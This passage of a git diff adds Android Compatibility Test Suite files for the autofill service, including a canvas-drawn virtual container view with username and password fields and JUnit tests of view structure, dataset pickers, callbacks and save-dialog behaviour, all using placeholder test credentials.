+                        secondDoubleNestedView = outerView.getChildAt(1);
+                    } else {
+                        secondDoubleNestedView = outerView.getChildAt(0);
+                        doubleNestedView = outerView.getChildAt(1);
+                    }
+                    assertThat(doubleNestedView.getIdEntry()).isEqualTo("doubleNestedView");
+                    assertThat(secondDoubleNestedView.getIdEntry()).isEqualTo
+                            ("secondDoubleNestedView");
+
+                    // The location of the doubleNestedView should include all suppressed parent's
+                    // offset
+                    assertThat(doubleNestedView.getLeft()).isEqualTo(
+                            7              // outerView.left
+                                    + 19); // nestedView.left
+                    assertThat(doubleNestedView.getTop()).isEqualTo(
+                            2              // outerView.top
+                                    + 11); // nestedView.top
+
+                    // The location of the tripleNestedView should be relative to it's parent
+                    assertThat(doubleNestedView.getChildCount()).isEqualTo(1);
+                    AssistStructure.ViewNode tripleNestedView = doubleNestedView.getChildAt(0);
+                    assertThat(doubleNestedView.getIdEntry()).isEqualTo("doubleNestedView");
+
+                    assertThat(tripleNestedView.getLeft()).isEqualTo(37); // doubleNestedView.left
+                    assertThat(tripleNestedView.getTop()).isEqualTo(23); // doubleNestedView.top
+                }
+        );
+    }
+
+    @Test
+    public void checkViewLocationInAssistStructureAfterForceAutofill() throws Exception {
+        onAssistStructure(true, (structure) -> {
+                    AssistStructure.ViewNode outerView = findNodeByResourceId(structure,
+                            "outerView");
+
+                    // The structure should be
+                    //
+                    // outerView
+                    //  nestedView left=7 top=2
+                    //   doubleNestedView left=19 top=11
+                    //    tripleNestedView left=37 top=23
+                    //   secondDoubleNestedView left=19 top=106
+
+                    // Test only what is different from #checkViewLocationInAssistStructure
+                    assertThat(outerView.getChildCount()).isEqualTo(1);
+
+                    AssistStructure.ViewNode nestedView = outerView.getChildAt(0);
+                    assertThat(nestedView.getIdEntry()).isEqualTo("nestedView");
+                    assertThat(nestedView.getLeft()).isEqualTo(7); // outerView.left
+                    assertThat(nestedView.getTop()).isEqualTo(2); // outerView.top
+
+                    assertThat(nestedView.getChildCount()).isEqualTo(2);
+                    AssistStructure.ViewNode doubleNestedView;
+                    if (nestedView.getChildAt(0).getIdEntry().equals("doubleNestedView")) {
+                        doubleNestedView = nestedView.getChildAt(0);
+                    } else {
+                        doubleNestedView = nestedView.getChildAt(1);
+                    }
+                    assertThat(doubleNestedView.getIdEntry()).isEqualTo("doubleNestedView");
+
+                    assertThat(doubleNestedView.getLeft()).isEqualTo(19); // nestedView.left
+                    assertThat(doubleNestedView.getTop()).isEqualTo(11); // nestedView.top
+                }
+        );
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTestActivity.java b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTestActivity.java
new file mode 100644
index 0000000..d9a8cf3
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTestActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.os.Bundle;
+import android.support.annotation.Nullable;
+
+public class ViewAttributesTestActivity extends AbstractAutoFillActivity {
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.view_attribute_test_activity);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ViewVisitor.java b/tests/autofillservice/src/android/autofillservice/cts/ViewVisitor.java
new file mode 100644
index 0000000..99ca5c3
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/ViewVisitor.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+/**
+ * Visitor for a view.
+ *
+ * <p>Typically used by activities under test to provide a way to run an action on the view using
+ * the UI thread. Example:
+ * <pre><code>
+ * void onUsername(ViewVisitor<EditText> v) {
+ *     runOnUiThread(() -> {
+ *         v.visit(mUsername);
+ *     });
+ * }
+ * </code></pre>
+ */
+interface ViewVisitor<T>{
+
+    void visit(T view);
+}
\ No newline at end of file
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivity.java
new file mode 100644
index 0000000..82bf213
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivity.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
+import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.VirtualContainerView.Line;
+import android.autofillservice.cts.VirtualContainerView.Line.OneTimeLineWatcher;
+import android.graphics.Canvas;
+import android.os.Bundle;
+import android.view.autofill.AutofillManager;
+
+/**
+ * A custom activity that uses {@link Canvas} to draw the following fields:
+ *
+ * <ul>
+ *   <li>Username
+ *   <li>Password
+ * </ul>
+ */
+public class VirtualContainerActivity extends AbstractAutoFillActivity {
+
+    static final String BLANK_VALUE = "        ";
+
+    VirtualContainerView mCustomView;
+
+    Line mUsername;
+    Line mPassword;
+
+    private FillExpectation mExpectation;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.virtual_container_activity);
+
+        mCustomView = (VirtualContainerView) findViewById(R.id.virtual_container_view);
+
+        mUsername = mCustomView.addLine(ID_USERNAME_LABEL, "Username", ID_USERNAME, BLANK_VALUE);
+        mPassword = mCustomView.addLine(ID_PASSWORD_LABEL, "Password", ID_PASSWORD, BLANK_VALUE);
+    }
+
+    /**
+     * Triggers manual autofill in a given line.
+     */
+    void requestAutofill(Line line) {
+        getAutofillManager().requestAutofill(mCustomView, line.text.id, line.bounds);
+    }
+
+    /**
+     * Sets the expectation for an auto-fill request, so it can be asserted through
+     * {@link #assertAutoFilled()} later.
+     */
+    void expectAutoFill(String username, String password) {
+        mExpectation = new FillExpectation(username, password);
+        mUsername.setTextChangedListener(mExpectation.ccUsernameWatcher);
+        mPassword.setTextChangedListener(mExpectation.ccPasswordWatcher);
+    }
+
+    /**
+     * Asserts the activity was auto-filled with the values passed to
+     * {@link #expectAutoFill(String, String)}.
+     */
+    void assertAutoFilled() throws Exception {
+        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+        mExpectation.ccUsernameWatcher.assertAutoFilled();
+        mExpectation.ccPasswordWatcher.assertAutoFilled();
+    }
+
+    /**
+     * Holder for the expected auto-fill values.
+     */
+    private final class FillExpectation {
+        private final OneTimeLineWatcher ccUsernameWatcher;
+        private final OneTimeLineWatcher ccPasswordWatcher;
+
+        private FillExpectation(String username, String password) {
+            ccUsernameWatcher = mUsername.new OneTimeLineWatcher(username);
+            ccPasswordWatcher = mPassword.new OneTimeLineWatcher(password);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
new file mode 100644
index 0000000..f5e6832
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
@@ -0,0 +1,384 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
+import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
+import static android.autofillservice.cts.Helper.assertTextAndValue;
+import static android.autofillservice.cts.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.Helper.dumpStructure;
+import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.VirtualContainerView.LABEL_CLASS;
+import static android.autofillservice.cts.VirtualContainerView.TEXT_CLASS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.VirtualContainerView.Line;
+import android.graphics.Rect;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.uiautomator.UiObject2;
+import android.view.autofill.AutofillManager;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+/**
+ * Test case for an activity containing virtual children.
+ */
+public class VirtualContainerActivityTest extends AutoFillServiceTestCase {
+
+    @Rule
+    public final ActivityTestRule<VirtualContainerActivity> mActivityRule =
+            new ActivityTestRule<VirtualContainerActivity>(VirtualContainerActivity.class);
+
+    private VirtualContainerActivity mActivity;
+
+    @Before
+    public void setActivity() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @After
+    public void finishWelcomeActivity() {
+        WelcomeActivity.finishIt();
+    }
+
+    @Test
+    public void testAutofillSync() throws Exception {
+        autofillTest(true);
+    }
+
+    @Test
+    public void testAutofillAsync() throws Exception {
+        autofillTest(false);
+    }
+
+    /**
+     * Tests autofilling the virtual views, using the sync / async version of ViewStructure.addChild
+     */
+    private void autofillTest(boolean sync) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+        mActivity.mCustomView.setSync(sync);
+
+        // Trigger auto-fill.
+        mActivity.mUsername.changeFocus(true);
+        assertDatasetShown(mActivity.mUsername, "The Dude");
+
+        // Play around with focus to make sure picker is properly drawn.
+        mActivity.mPassword.changeFocus(true);
+        assertDatasetShown(mActivity.mPassword, "The Dude");
+        mActivity.mUsername.changeFocus(true);
+        assertDatasetShown(mActivity.mUsername, "The Dude");
+
+        // Make sure input was sanitized.
+        final FillRequest request = sReplier.getNextFillRequest();
+        final ViewNode usernameLabel = findNodeByResourceId(request.structure, ID_USERNAME_LABEL);
+        final ViewNode username = findNodeByResourceId(request.structure, ID_USERNAME);
+        final ViewNode passwordLabel = findNodeByResourceId(request.structure, ID_PASSWORD_LABEL);
+        final ViewNode password = findNodeByResourceId(request.structure, ID_PASSWORD);
+
+        assertTextIsSanitized(username);
+        assertTextIsSanitized(password);
+        assertTextAndValue(usernameLabel, "Username");
+        assertTextAndValue(passwordLabel, "Password");
+
+        assertThat(usernameLabel.getClassName()).isEqualTo(LABEL_CLASS);
+        assertThat(username.getClassName()).isEqualTo(TEXT_CLASS);
+        assertThat(passwordLabel.getClassName()).isEqualTo(LABEL_CLASS);
+        assertThat(password.getClassName()).isEqualTo(TEXT_CLASS);
+
+        assertThat(username.getIdEntry()).isEqualTo(ID_USERNAME);
+        assertThat(password.getIdEntry()).isEqualTo(ID_PASSWORD);
+
+        // Make sure order is preserved and dupes not removed.
+        assertThat(username.getAutofillHints()).asList()
+                .containsExactly("c", "a", "a", "b", "a", "a")
+                .inOrder();
+
+        try {
+            VirtualContainerView.assertHtmlInfo(username);
+            VirtualContainerView.assertHtmlInfo(password);
+        } catch (AssertionError | RuntimeException e) {
+            dumpStructure("HtmlInfo failed", request.structure);
+            throw e;
+        }
+
+        // Make sure initial focus was properly set.
+        assertWithMessage("Username node is not focused").that(username.isFocused()).isTrue();
+        assertWithMessage("Password node is focused").that(password.isFocused()).isFalse();
+
+        // Auto-fill it.
+        sUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Sanity checks.
+        sReplier.assertNumberUnhandledFillRequests(0);
+        sReplier.assertNumberUnhandledSaveRequests(0);
+    }
+
+    @Test
+    public void testAutofillTwoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "DUDE")
+                        .setField(ID_PASSWORD, "SWEET")
+                        .setPresentation(createPresentation("THE DUDE"))
+                        .build())
+                .build());
+        mActivity.expectAutoFill("DUDE", "SWEET");
+
+        // Trigger auto-fill.
+        mActivity.mUsername.changeFocus(true);
+        sReplier.getNextFillRequest();
+        assertDatasetShown(mActivity.mUsername, "The Dude", "THE DUDE");
+
+        // Play around with focus to make sure picker is properly drawn.
+        mActivity.mPassword.changeFocus(true);
+        assertDatasetShown(mActivity.mPassword, "The Dude", "THE DUDE");
+        mActivity.mUsername.changeFocus(true);
+        assertDatasetShown(mActivity.mUsername, "The Dude", "THE DUDE");
+
+        // Auto-fill it.
+        sUiBot.selectDataset("THE DUDE");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofillOverrideDispatchProvideAutofillStructure() throws Exception {
+        mActivity.mCustomView.setOverrideDispatchProvideAutofillStructure(true);
+        autofillTest(true);
+    }
+
+    @Test
+    public void testAutofillManuallyOneDataset() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.requestAutofill(mActivity.mUsername);
+        sReplier.getNextFillRequest();
+
+        // Select datatest.
+        sUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Sanity checks.
+        sReplier.assertNumberUnhandledFillRequests(0);
+        sReplier.assertNumberUnhandledSaveRequests(0);
+    }
+
+    @Test
+    public void testAutofillManuallyTwoDatasetsPickFirst() throws Exception {
+        autofillManuallyTwoDatasets(true);
+    }
+
+    @Test
+    public void testAutofillManuallyTwoDatasetsPickSecond() throws Exception {
+        autofillManuallyTwoDatasets(false);
+    }
+
+    private void autofillManuallyTwoDatasets(boolean pickFirst) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "jenny")
+                        .setField(ID_PASSWORD, "8675309")
+                        .setPresentation(createPresentation("Jenny"))
+                        .build())
+                .build());
+        if (pickFirst) {
+            mActivity.expectAutoFill("dude", "sweet");
+        } else {
+            mActivity.expectAutoFill("jenny", "8675309");
+
+        }
+
+        // Trigger auto-fill.
+        mActivity.getSystemService(AutofillManager.class).requestAutofill(
+                mActivity.mCustomView, mActivity.mUsername.text.id, mActivity.mUsername.bounds);
+        sReplier.getNextFillRequest();
+
+        // Auto-fill it.
+        final UiObject2 picker = sUiBot.assertDatasets("The Dude", "Jenny");
+        sUiBot.selectDataset(picker, pickFirst? "The Dude" : "Jenny");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Sanity checks.
+        sReplier.assertNumberUnhandledFillRequests(0);
+        sReplier.assertNumberUnhandledSaveRequests(0);
+    }
+
+    @Test
+    public void testAutofillCallbacks() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.mUsername.changeFocus(true);
+        sReplier.getNextFillRequest();
+
+        callback.assertUiShownEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
+
+        // Change focus
+        mActivity.mPassword.changeFocus(true);
+        callback.assertUiHiddenEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
+        callback.assertUiShownEvent(mActivity.mCustomView, mActivity.mPassword.text.id);
+    }
+
+    @Test
+    public void testAutofillCallbackDisabled() throws Exception {
+        // Set service.
+        disableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Trigger auto-fill.
+        mActivity.mUsername.changeFocus(true);
+
+        // Assert callback was called
+        callback.assertUiUnavailableEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
+    }
+
+    @Test
+    public void testAutofillCallbackNoDatasets() throws Exception {
+        callbackUnavailableTest(NO_RESPONSE);
+    }
+
+    @Test
+    public void testAutofillCallbackNoDatasetsButSaveInfo() throws Exception {
+        callbackUnavailableTest(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+    }
+
+    private void callbackUnavailableTest(CannedFillResponse response) throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Set expectations.
+        sReplier.addResponse(response);
+
+        // Trigger auto-fill.
+        mActivity.mUsername.changeFocus(true);
+        sReplier.getNextFillRequest();
+
+        // Auto-fill it.
+        sUiBot.assertNoDatasets();
+
+        // Assert callback was called
+        callback.assertUiUnavailableEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
+    }
+
+    @Test
+    public void testSaveDialogNotShownWhenBackIsPressed() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.mUsername.changeFocus(true);
+        sReplier.getNextFillRequest();
+        assertDatasetShown(mActivity.mUsername, "The Dude");
+
+        sUiBot.pressBack();
+
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+
+    /**
+     * Asserts the dataset picker is properly displayed in a give line.
+     */
+    private void assertDatasetShown(Line line, String... expectedDatasets) {
+        final Rect pickerBounds = sUiBot.assertDatasets(expectedDatasets).getVisibleBounds();
+        final Rect fieldBounds = line.getAbsCoordinates();
+        assertWithMessage("vertical coordinates don't match; picker=%s, field=%s", pickerBounds,
+                fieldBounds).that(pickerBounds.top).isEqualTo(fieldBounds.bottom);
+        assertWithMessage("horizontal coordinates don't match; picker=%s, field=%s", pickerBounds,
+                fieldBounds).that(pickerBounds.left).isEqualTo(fieldBounds.left);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
new file mode 100644
index 0000000..aa5d67b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
@@ -0,0 +1,360 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.content.Context;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Paint;
+import android.graphics.Paint.Style;
+import android.graphics.Rect;
+import android.text.Editable;
+import android.text.TextUtils;
+import android.text.TextWatcher;
+import android.util.AttributeSet;
+import android.util.Log;
+import android.util.Pair;
+import android.util.SparseArray;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.ViewStructure;
+import android.view.ViewStructure.HtmlInfo;
+import android.view.autofill.AutofillManager;
+import android.view.autofill.AutofillValue;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+class VirtualContainerView extends View {
+
+    private static final String TAG = "VirtualContainerView";
+
+    static final String LABEL_CLASS = "my.readonly.view";
+    static final String TEXT_CLASS = "my.editable.view";
+
+
+    private final ArrayList<Line> mLines = new ArrayList<>();
+    private final SparseArray<Item> mItems = new SparseArray<>();
+    private final AutofillManager mAfm;
+
+    private Line mFocusedLine;
+
+    private Paint mTextPaint;
+    private int mTextHeight;
+    private int mTopMargin;
+    private int mLeftMargin;
+    private int mVerticalGap;
+    private int mLineLength;
+    private int mFocusedColor;
+    private int mUnfocusedColor;
+    private boolean mSync = true;
+    private boolean mOverrideDispatchProvideAutofillStructure = false;
+
+    public VirtualContainerView(Context context, AttributeSet attrs) {
+        super(context, attrs);
+
+        mAfm = context.getSystemService(AutofillManager.class);
+
+        mTextPaint = new Paint();
+
+        mUnfocusedColor = Color.BLACK;
+        mFocusedColor = Color.RED;
+        mTextPaint.setStyle(Style.FILL);
+        mTopMargin = 100;
+        mLeftMargin = 100;
+        mTextHeight = 90;
+        mVerticalGap = 10;
+
+        mLineLength = mTextHeight + mVerticalGap;
+        mTextPaint.setTextSize(mTextHeight);
+        Log.d(TAG, "Text height: " + mTextHeight);
+    }
+
+    @Override
+    public void autofill(SparseArray<AutofillValue> values) {
+        Log.d(TAG, "autofill: " + values);
+        for (int i = 0; i < values.size(); i++) {
+            final int id = values.keyAt(i);
+            final AutofillValue value = values.valueAt(i);
+            final Item item = mItems.get(id);
+            if (item == null) {
+                Log.w(TAG, "No item for id " + id);
+                return;
+            }
+            if (!item.editable) {
+                Log.w(TAG, "Item for id " + id + " is not editable: " + item);
+                return;
+            }
+            item.text = value.getTextValue();
+            if (item.listener != null) {
+                Log.d(TAG, "Notify listener: " + item.text);
+                item.listener.onTextChanged(item.text, 0, 0, 0);
+            }
+        }
+        postInvalidate();
+    }
+
+    @Override
+    protected void onDraw(Canvas canvas) {
+        super.onDraw(canvas);
+
+        Log.d(TAG, "onDraw: " + mLines.size() + " lines; canvas:" + canvas);
+        float x;
+        float y = mTopMargin + mLineLength;
+        for (int i = 0; i < mLines.size(); i++) {
+            x = mLeftMargin;
+            final Line line = mLines.get(i);
+            Log.v(TAG, "Drawing '" + line + "' at " + x + "x" + y);
+            mTextPaint.setColor(line.focused ? mFocusedColor : mUnfocusedColor);
+            final String readOnlyText = line.label.text + ":  [";
+            final String writeText = line.text.text + "]";
+            // Paints the label first...
+            canvas.drawText(readOnlyText, x, y, mTextPaint);
+            // ...then paints the edit text and sets the proper boundary
+            final float deltaX = mTextPaint.measureText(readOnlyText);
+            x += deltaX;
+            line.bounds.set((int) x, (int) (y - mLineLength),
+                    (int) (x + mTextPaint.measureText(writeText)), (int) y);
+            Log.d(TAG, "setBounds(" + x + ", " + y + "): " + line.bounds);
+            canvas.drawText(writeText, x, y, mTextPaint);
+            y += mLineLength;
+        }
+    }
+
+    @Override
+    public boolean onTouchEvent(MotionEvent event) {
+        final int y = (int) event.getY();
+        Log.d(TAG, "You can touch this: y=" + y + ", range=" + mLineLength + ", top=" + mTopMargin);
+        int lowerY = mTopMargin;
+        int upperY = -1;
+        for (int i = 0; i < mLines.size(); i++) {
+            upperY = lowerY + mLineLength;
+            final Line line = mLines.get(i);
+            Log.d(TAG, "Line " + i + " ranges from " + lowerY + " to " + upperY);
+            if (lowerY <= y && y <= upperY) {
+                if (mFocusedLine != null) {
+                    Log.d(TAG, "Removing focus from " + mFocusedLine);
+                    mFocusedLine.changeFocus(false);
+                }
+                Log.d(TAG, "Changing focus to " + line);
+                mFocusedLine = line;
+                mFocusedLine.changeFocus(true);
+                invalidate();
+                break;
+            }
+            lowerY += mLineLength;
+        }
+        return super.onTouchEvent(event);
+    }
+
+    @Override
+    public void dispatchProvideAutofillStructure(ViewStructure structure, int flags) {
+        if (mOverrideDispatchProvideAutofillStructure) {
+            Log.d(TAG, "Overriding dispatchProvideAutofillStructure()");
+            structure.setAutofillId(getAutofillId());
+            onProvideAutofillVirtualStructure(structure, flags);
+        } else {
+            super.dispatchProvideAutofillStructure(structure, flags);
+        }
+    }
+
+    @Override
+    public void onProvideAutofillVirtualStructure(ViewStructure structure, int flags) {
+        Log.d(TAG, "onProvideAutofillVirtualStructure(): flags = " + flags);
+        super.onProvideAutofillVirtualStructure(structure, flags);
+
+        final String packageName = getContext().getPackageName();
+        structure.setClassName(getClass().getName());
+        final int childrenSize = mItems.size();
+        int index = structure.addChildCount(childrenSize);
+        final String syncMsg = mSync ? "" : " (async)";
+        for (int i = 0; i < childrenSize; i++) {
+            final Item item = mItems.valueAt(i);
+            Log.d(TAG, "Adding new child" + syncMsg + " at index " + index + ": " + item);
+            final ViewStructure child = mSync
+                    ? structure.newChild(index)
+                    : structure.asyncNewChild(index);
+            child.setAutofillId(structure.getAutofillId(), item.id);
+            child.setDataIsSensitive(item.sensitive);
+            index++;
+            final String className = item.editable ? TEXT_CLASS : LABEL_CLASS;
+            child.setClassName(className);
+            // Must set "fake" idEntry because that's what the test cases use to find nodes.
+            child.setId(1000 + index, packageName, "id", item.resourceId);
+            child.setText(item.text);
+            if (TextUtils.getTrimmedLength(item.text) > 0) {
+                child.setAutofillValue(AutofillValue.forText(item.text));
+            }
+            child.setFocused(item.line.focused);
+            child.setHtmlInfo(child.newHtmlInfoBuilder("TAGGY")
+                    .addAttribute("a1", "v1")
+                    .addAttribute("a2", "v2")
+                    .addAttribute("a1", "v2")
+                    .build());
+            child.setAutofillHints(new String[] {"c", "a", "a", "b", "a", "a"});
+
+            if (!mSync) {
+                Log.d(TAG, "Commiting virtual child");
+                child.asyncCommit();
+            }
+        }
+    }
+
+    static void assertHtmlInfo(ViewNode node) {
+        final String name = node.getText().toString();
+        final HtmlInfo info = node.getHtmlInfo();
+        assertWithMessage("no HTML info on %s", name).that(info).isNotNull();
+        assertWithMessage("wrong HTML tag on %s", name).that(info.getTag()).isEqualTo("TAGGY");
+        assertWithMessage("wrong attributes on %s", name).that(info.getAttributes())
+                .containsExactly(
+                        new Pair<>("a1", "v1"),
+                        new Pair<>("a2", "v2"),
+                        new Pair<>("a1", "v2"));
+    }
+
+    Line addLine(String labelId, String label, String textId, String text) {
+        final Line line = new Line(labelId, label, textId, text);
+        Log.d(TAG, "addLine: " + line);
+        mLines.add(line);
+        mItems.put(line.label.id, line.label);
+        mItems.put(line.text.id, line.text);
+        return line;
+    }
+
+    void setSync(boolean sync) {
+        mSync = sync;
+    }
+
+    void setOverrideDispatchProvideAutofillStructure(boolean flag) {
+        mOverrideDispatchProvideAutofillStructure = flag;
+    }
+
+    private static int nextId;
+
+    final class Line {
+
+        final Item label;
+        final Item text;
+        // Boundaries of the text field, relative to the CustomView
+        final Rect bounds = new Rect();
+
+        private boolean focused;
+
+        private Line(String labelId, String label, String textId, String text) {
+            this.label = new Item(this, ++nextId, labelId, label, false, false);
+            this.text = new Item(this, ++nextId, textId, text, true, true);
+        }
+
+        void changeFocus(boolean focused) {
+            this.focused = focused;
+            if (focused) {
+                final Rect absBounds = getAbsCoordinates();
